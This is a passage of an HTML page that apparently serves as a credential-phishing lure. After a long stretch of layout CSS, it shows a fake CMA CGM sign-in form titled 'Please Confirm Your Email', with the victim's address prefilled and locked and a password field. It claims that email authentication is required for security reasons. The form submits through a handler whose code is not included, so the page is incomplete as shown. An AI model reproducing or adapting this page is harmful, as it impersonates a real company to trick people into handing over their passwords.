.pure-u-lg-1,
.pure-u-lg-1-1,
.pure-u-lg-5-5,
.pure-u-lg-24-24 {
width: 100%
}
}
@media screen and (min-width:80em) {
.pure-u-xl-1,
.pure-u-xl-1-1,
.pure-u-xl-1-2,
.pure-u-xl-1-3,
.pure-u-xl-2-3,
.pure-u-xl-1-4,
.pure-u-xl-3-4,
.pure-u-xl-1-5,
.pure-u-xl-2-5,
.pure-u-xl-3-5,
.pure-u-xl-4-5,
.pure-u-xl-5-5,
.pure-u-xl-1-6,
.pure-u-xl-5-6,
.pure-u-xl-1-8,
.pure-u-xl-3-8,
.pure-u-xl-5-8,
.pure-u-xl-7-8,
.pure-u-xl-1-12,
.pure-u-xl-5-12,
.pure-u-xl-7-12,
.pure-u-xl-11-12,
.pure-u-xl-1-24,
.pure-u-xl-2-24,
.pure-u-xl-3-24,
.pure-u-xl-4-24,
.pure-u-xl-5-24,
.pure-u-xl-6-24,
.pure-u-xl-7-24,
.pure-u-xl-8-24,
.pure-u-xl-9-24,
.pure-u-xl-10-24,
.pure-u-xl-11-24,
.pure-u-xl-12-24,
.pure-u-xl-13-24,
.pure-u-xl-14-24,
.pure-u-xl-15-24,
.pure-u-xl-16-24,
.pure-u-xl-17-24,
.pure-u-xl-18-24,
.pure-u-xl-19-24,
.pure-u-xl-20-24,
.pure-u-xl-21-24,
.pure-u-xl-22-24,
.pure-u-xl-23-24,
.pure-u-xl-24-24 {
display: inline-block;
*display: inline;
zoom: 1;
letter-spacing: normal;
word-spacing: normal;
vertical-align: top;
text-rendering: auto
}
.pure-u-xl-1-24 {
width: 4.1667%;
*width: 4.1357%
}
.pure-u-xl-1-12,
.pure-u-xl-2-24 {
width: 8.3333%;
*width: 8.3023%
}
.pure-u-xl-1-8,
.pure-u-xl-3-24 {
width: 12.5%;
*width: 12.469%
}
.pure-u-xl-1-6,
.pure-u-xl-4-24 {
width: 16.6667%;
*width: 16.6357%
}
.pure-u-xl-1-5 {
width: 20%;
*width: 19.969%
}
.pure-u-xl-5-24 {
width: 20.8333%;
*width: 20.8023%
}
.pure-u-xl-1-4,
.pure-u-xl-6-24 {
width: 25%;
*width: 24.969%
}
.pure-u-xl-7-24 {
width: 29.1667%;
*width: 29.1357%
}
.pure-u-xl-1-3,
.pure-u-xl-8-24 {
width: 33.3333%;
*width: 33.3023%
}
.pure-u-xl-3-8,
.pure-u-xl-9-24 {
width: 37.5%;
*width: 37.469%
}
.pure-u-xl-2-5 {
width: 40%;
*width: 39.969%
}
.pure-u-xl-5-12,
.pure-u-xl-10-24 {
width: 41.6667%;
*width: 41.6357%
}
.pure-u-xl-11-24 {
width: 45.8333%;
*width: 45.8023%
}
.pure-u-xl-1-2,
.pure-u-xl-12-24 {
width: 50%;
*width: 49.969%
}
.pure-u-xl-13-24 {
width: 54.1667%;
*width: 54.1357%
}
.pure-u-xl-7-12,
.pure-u-xl-14-24 {
width: 58.3333%;
*width: 58.3023%
}
.pure-u-xl-3-5 {
width: 60%;
*width: 59.969%
}
.pure-u-xl-5-8,
.pure-u-xl-15-24 {
width: 62.5%;
*width: 62.469%
}
.pure-u-xl-2-3,
.pure-u-xl-16-24 {
width: 66.6667%;
*width: 66.6357%
}
.pure-u-xl-17-24 {
width: 70.8333%;
*width: 70.8023%
}
.pure-u-xl-3-4,
.pure-u-xl-18-24 {
width: 75%;
*width: 74.969%
}
.pure-u-xl-19-24 {
width: 79.1667%;
*width: 79.1357%
}
.pure-u-xl-4-5 {
width: 80%;
*width: 79.969%
}
.pure-u-xl-5-6,
.pure-u-xl-20-24 {
width: 83.3333%;
*width: 83.3023%
}
.pure-u-xl-7-8,
.pure-u-xl-21-24 {
width: 87.5%;
*width: 87.469%
}
.pure-u-xl-11-12,
.pure-u-xl-22-24 {
width: 91.6667%;
*width: 91.6357%
}
.pure-u-xl-23-24 {
width: 95.8333%;
*width: 95.8023%
}
.pure-u-xl-1,
.pure-u-xl-1-1,
.pure-u-xl-5-5,
.pure-u-xl-24-24 {
width: 100%
}
}
@media (max-width: 1024px) {
.wrapper {
width: 752px
}
.info iframe {
left: -7px;
width: 768px
}
}
@media (max-width: 780px) {
.wrapper {
width: 464px
}
.login {
float: none;
margin: 0 auto;
background-color: #f5f5f5;
width: 100%
}
.info {
display: none
}
}
@media (max-width: 479px) {
.wrapper {
width: 305px
}
}
@media (min-width: 1280px) {
.wrapper {
width: 1180px
}
.info iframe {
left: -210px;
width: 1600px
}
}
/* CUSTOM FOR PING */
#fade {
background: #000 none repeat scroll 0 0;
display: none;
height: 100%;
left: 0;
opacity: 0.4;
position: fixed;
top: 0;
width: 100%;
z-index: 9999;
}
ul {
list-style: none;
}
i {
font-style: normal;
}
body {
color: #4c4c4c;
}
h2 {
font-size: 1.818em;
font-weight: normal;
}
select {
padding: 2px 3px;
}
@font-face {
font-family: 'MustIcons';
src: url('assets/fonts/icons/mustIcons/musticons.eot');
src: url('assets/fonts/icons/mustIcons/musticons.eot?#iefix') format('embedded-opentype'), url('https://auth-dev.cma-cgm.com:9031/assets/fonts/icons/mustIcons/musticons.woff') format('woff'), url('assets/fonts/icons/mustIcons/musticons.ttf') format('truetype'), url('assets/fonts/icons/mustIcons/musticons.svg#musticons') format('svg');
font-weight: normal;
font-style: normal;
}
@media (max-width: 479px) {
.applicationPanel {
display: initial;
}
.applicationInfo {
display: none;
}
.contentSeparator {
display: initial;
}
}
@media (max-width: 780px) {
.applicationPanel {
display: initial;
}
.contentSeparator {
display: inherit;
}
}
@media (max-width: 1024px) {
.applicationPanel {
display: initial;
}
}
@media (min-width: 1280px) {
.applicationPanel {
display: table-cell;
padding-left: 25px;
padding-bottom: 10px;
}
.contentSeparator {
display: none;
}
}
.icon, button.icon, button .icon, input.icon {
font-family: 'MustIcons';
}
.checklist .icon {
width: 15px;
margin-right: 5px;
position: relative;
top: -3px;
font-size: 1.3em;
color: #000;
}
.left {
float: left;
}
.right {
float: right;
}
.error {
font-size: 92%;
color: #EE2037;
}
.buttonPanel {
text-align: right;
float: right;
padding-top: 15px;
}
.popup_block {
background: #fff none repeat scroll 0 0;
border: 1px solid #ddd;
border-radius: 10px;
box-shadow: 0 0 20px #000;
display: none;
float: left;
font-size: 1.2em;
left: 40%;
padding: 20px;
position: fixed;
top: 50%;
z-index: 99999;
}
.popup_block span {
display: block;
float: left;
font-size: 20pt;
padding: 10px;
}
.ie8 .popup_block {
width: 350px;
}
.NotRendered {
display: none;
}
.mainPanel {
background: #f5f5f5 none repeat scroll 0 0;
padding: 15px;
}
.NotShown {
height: 1px;
visibility: hidden;
width: 1px;
}
.select-lang {
display: none;
}
.selectLanguage {
margin-top: 20px;
border: 1px solid #8d8d8d;
}
.ping-error {
color: #c5002e;
background: url('https://www.cma-cgm.com/Images/signin-cmacgm.jpg') left 2px no-repeat;
padding-left: 19px;
margin-top: 10px;
}
</style>
</head>
<body onload="setFocus()" class="special">
<div class="wrapper">
<div class="header">
<a href="https://www.cma-cgm.com">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAE8AAAAwCAYAAABQQCeSAAAFB0lEQVR42u2bf2iVVRjHz93c1lLXVmLgWhlMipDZKJBSJIdFtAzUhTAV02CNinAls5SyImVa4RICK0iFTZprOKJASGpYUSLRdYzAP9KaNbDWaGwZZu72Pbfv6/vs7Lz3va93odx7Hviw9/x6z3O+59e7yznqarGEUmWgBjSBd8ERcBIMgjGQIBcZFwcdYJnKNUOji0AtaAW9WpjL4BxYoHLB0NA88AA4AIY9ETIQbqnKdkMjp4FmcEo3fBIY1VNcZbOhgdPBVjCYQoQ4+Bx0g/2gi8+fgj5wVpZh+C6VrYbGxcAqMGAIdRhsBotBeYT3FYMqsALcorLV0LiK5EjyBWsDD4EC5SylcHVgCPTzk2OachYqWj7YSeEaQaFylpZwhfxYfR/MUM4iCdcOlitnkXfUFlClnEUWrwFUKmeRhVsEqpWzyMKV5OQvGZNhXOtiypkzZ1fSCkrvuQ1sAXvAPsF7YBu4X+R9HLSSmwPeVyby1FvSq5JpPvPT8LEENIC3Lvnn8yZYD6aK/HngEbAD7A1o1xKRv1L482gKP5708ulALfgbJELYzsLdIq4zoIK3RZ59lvQ2490fhwh3PfghDR/7QCHLdCTjwnmV+e8TcSNglsWPu8GYl09HHGfgAjgke4gO/MX04XHi+dQYFcwD/0wQz0+fCc6Lxibo0K0pxNsk3nfMMvJOi/QHQbUI/6Q7K0W7hsaJ59Nu+BAD38g8SjR0d4DjDVowUmwR73swRVRwVMenEO95HU8Bb9edxnCLrX5jFP2sp6Mlfa7wsQasFfVXB04/v0y+J57BQpF/nZmuRKBZhZgx8s6Iss8yrV6H2SEDpni64WKUfMC4LoZ/BUUhdR5P08cNwrey0AITR94v/HuCwl4HzjKu3ybehoji9YgRMQwqvUq58cQt4j0s6lvCuFoRtzqszssQr1TEPwZetnCNId4T4vkp0Co6eMtkiXcTGGH4d/4dBDcEiPcJ4370pl+yZ33Rv/qfxesJ2DRKDfFmixnxh1ja1v337onibYwqHsPPGY6s1/GmeHpDEDvVl0knfL4W5eelqPNYhuLViToPhYhX4Q0M8gWIjRfPb9AbAY7Ui12q2CLeFHBCiBILEG9Hmp8O71h86GTa6QAf5wgfF+oOFO+7I6DMRpHnWlM8I88FMNfsGCU+F0a5Vr0i1oJdYIjpfwZNITzfKyswxQNF4DexGPdYGBB+lBgNfUk07COwXfi4DXzrpXNdnS/C34HXjTVup1gqRiwbxmwxMHp1ftuo9nfIcPbYxfMF1H8DxFst3rMyYCSsEXmeNtLKPfFDOAOmcnp9lma7dgeJx/g79Ttt4nkRC/hfQbeFvWCt+JZ7gfGvhaw7u5jvGfAinzuDPkc4dbqYr8WSPgtsBR9afDwINoMbvfwc7Y2gPahd7LB8y7fizBTtWurlU86cObtS5n7gzUy8ZaBEOYssXDVYpJxFFq4SNChn0YxH1lrcWhdduOWg3R1IiibaDB5I6nDCRTuQ1AiGeBQuXzlL6yB5E+incHXKWUrBCniMt43HehM85luhstX0QW2wgrtgcYRy5WAxD4of9gQjA2BVVu+o+mpAwJWBPl4p6OYVg/36mSMpfkmoiQzyCsN0lc3G+2ajk3CxRXMKNOfEQXJ9/Qmcy1CwYXCA17LyVC6YvnCXgXC9oJUX/4pUrhl/yegAca5RF4U4Y4w7CY7wCmkTp3iZukrsX/qXfTWVWvuRAAAAAElFTkSuQmCC" alt="CMA CGM" />
</a>
<select name="dlSelectLanguage" id="dlSelectLanguage" class="pull-right" >
<option value="en-GB">English</option> <option value="fr-FR">Français</option> <option value="pt-BR">Português</option> <option value="es-ES">Español</option> <option value="zh-CN">??</option> <option value="ja-JP">???</option> <option value="ko-KO">???</option>
</select>
</div> <div class="main clearfix">
<div class="login">
<h1>Sign In</h1>
<h3>Please Confirm Your Email</h3>
<form class="pure-form pure-form-aligned" method="POST" onsubmit="javascript:submitForm(); ">
<fieldset>
<div class="pure-control-group">
<label for="login-email">Login (Email)</label>
<input name="email" value="exim4@packages.debian.org" readonly required type="email" id="login-email"
>
</div>
<div class="pure-control-group">
<label for="login-password">Password</label>
<input name="passwd" type="password" required="" id="login-password" autocomplete="off" >
</div>
<a href="" class="forgot-password">Email authentication is required!</a>
<div class="pure-controls">
<button type="submit" class="pure-button pure-button-primary buttonSignIn ">Sign In</button>
</div>
</fieldset>
<input type="hidden" name="pf.ok" value=""/>
<input type="hidden" name="pf.cancel" value=""/>
<input type="hidden" name="pf.adapterId" id="pf.adapterId" value="CMACGM"/>
</form>
<hr class="full" />
<p><h4>Email authentication is required for security reasons</h4></p>
<a </a>
</div>
<div class="info">
<iframe class="iframe" frameborder="0" allowtransparency="true" scrolling="no" src="https://www.cma-cgm.com/Images/signin-cmacgm.jpg"></iframe>
</div>
</div>
<div class="footer">
<p class="inner">
© 2021 CMA CGM |
<a href="https://www.cma-cgm.com/legal-terms" target="_new">Legal Terms</a> | <span>4.0.10</span>
</p>
</div>
</div>
<script type="text/javascript">
</script>
</body>
</html>